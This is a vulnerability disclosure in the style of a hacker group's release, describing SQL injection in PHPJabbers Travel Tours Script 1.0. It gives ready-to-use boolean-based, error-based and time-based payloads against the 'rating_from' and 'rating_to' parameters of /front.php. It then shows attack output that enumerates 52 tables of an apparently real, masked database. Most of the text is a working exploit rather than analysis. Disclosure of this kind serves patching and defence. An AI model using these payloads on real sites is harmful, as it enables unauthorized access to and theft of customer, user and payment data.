┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                  [ Vulnerability ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : PHPJabbers.com                                                             │
│  Vendor   : PHPJabbers                                                                 │
│  Software : PHPJabbers Travel Tours Script 1.0                                         │
│  Vuln Type: SQL Injection                                                              │
│  Impact   : Database Access                                                            │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│ Release Notes:                                                                         │
│ ═════════════                                                                          │
│                                                                                        │
│ SQL injection attacks can allow unauthorized access to sensitive data, modification of │
│ data and crash the application or make it unavailable, leading to lost revenue and     │
│ damage to a company's reputation.                                                      │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   
       
	CryptoJob (Twitter) twitter.com/CryptozJob
	   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2023                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /front.php

front.php?controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=[SQLI]&rating_to=[SQLI]

GET parameter 'rating_from' is vulnerable to SQLI

---
Parameter: rating_from (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2) AND 3442=3442 AND (7236=7236&rating_to=5

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2) AND GTID_SUBSET(CONCAT(0x71626b7a71,(SELECT (ELT(9974=9974,1))),0x71626b7871),9974) AND (8540=8540&rating_to=5

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2) AND (SELECT 2396 FROM (SELECT(SLEEP(5)))lmil) AND (1063=1063&rating_to=5
---


GET parameter 'rating_to' is vulnerable to SQLI

---
Parameter: rating_to (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2&rating_to=5) AND 3784=3784 AND (4445=4445

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2&rating_to=5) AND GTID_SUBSET(CONCAT(0x71626b7a71,(SELECT (ELT(9427=9427,1))),0x71626b7871),9427) AND (7794=7794

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: controller=pjListings&action=pjActionListings&listing_search=1&view=list&season=1&price_from=60&price_to=1500&rating_from=2&rating_to=5) AND (SELECT 9220 FROM (SELECT(SLEEP(5)))QqcU) AND (6313=6313
---

[+] Starting the Attack

fetching tables for database: '********_****_***'
Database: ********_****_***
[52 tables]
+------------------------------------------+
| vacationpackages_comments                |
| vacationpackages_countries               |
| vacationpackages_enquiries               |
| vacationpackages_features                |
| vacationpackages_fields                  |
| vacationpackages_listings_availabilities |
| vacationpackages_listings_features       |
| vacationpackages_listings                |
| vacationpackages_multi_lang              |
| vacationpackages_notifications           |
| vacationpackages_options                 |
| vacationpackages_payments                |
| vacationpackages_periods                 |
| vacationpackages_plugin_country          |
| vacationpackages_plugin_galleries_set    |
| vacationpackages_plugin_gallery          |
| vacationpackages_plugin_locale_languages |
| vacationpackages_plugin_locale           |
| vacationpackages_plugin_log_config       |
| vacationpackages_plugin_log              |
| vacationpackages_plugin_one_admin        |
| vacationpackages_plugin_paypal           |
| vacationpackages_prices                  |
| vacationpackages_roles                   |
| vacationpackages_types                   |
| vacationpackages_users                   |
| vacationpackages_comments                |
| vacationpackages_countries               |
| vacationpackages_enquiries               |
| vacationpackages_features                |
| vacationpackages_fields                  |
| vacationpackages_listings                |
| vacationpackages_listings_availabilities |
| vacationpackages_listings_features       |
| vacationpackages_multi_lang              |
| vacationpackages_notifications           |
| vacationpackages_options                 |
| vacationpackages_payments                |
| vacationpackages_periods                 |
| vacationpackages_plugin_country          |
| vacationpackages_plugin_galleries_set    |
| vacationpackages_plugin_gallery          |
| vacationpackages_plugin_locale           |
| vacationpackages_plugin_locale_languages |
| vacationpackages_plugin_log              |
| vacationpackages_plugin_log_config       |
| vacationpackages_plugin_one_admin        |
| vacationpackages_plugin_paypal           |
| vacationpackages_prices                  |
| vacationpackages_roles                   |
| vacationpackages_types                   |
| vacationpackages_users                   |
+------------------------------------------+

[-] Done